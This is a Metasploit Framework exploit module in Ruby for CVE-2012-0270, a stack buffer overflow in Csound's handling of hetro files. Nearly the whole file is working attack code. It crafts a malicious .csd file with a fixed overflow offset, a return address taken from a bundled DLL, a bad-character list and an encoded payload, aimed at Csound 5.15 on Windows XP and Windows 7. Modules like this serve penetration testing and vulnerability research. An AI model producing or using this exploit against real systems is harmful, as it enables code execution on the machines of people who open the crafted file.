##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Csound before 5.16.6.
The overflow occurs when trying to import a malicious hetro file
from tabular format.
In order to achieve exploitation the user should import the malicious
file through csound with a command like "csound -U het_import msf.csd file.het".
This exploit doesn't work if the "het_import" command is used directly
to convert the file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Secunia', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2012-0270' ],
[ 'OSVDB', '79491' ],
[ 'BID', '52144' ],
[ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
],
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x0a\x1a\x2c\xff",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
'DisableNops' => 'True'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
{
'Offset' => 132,
'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll
}
],
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 23 2012'))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
], self.class)
end
def exploit
sploit = rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
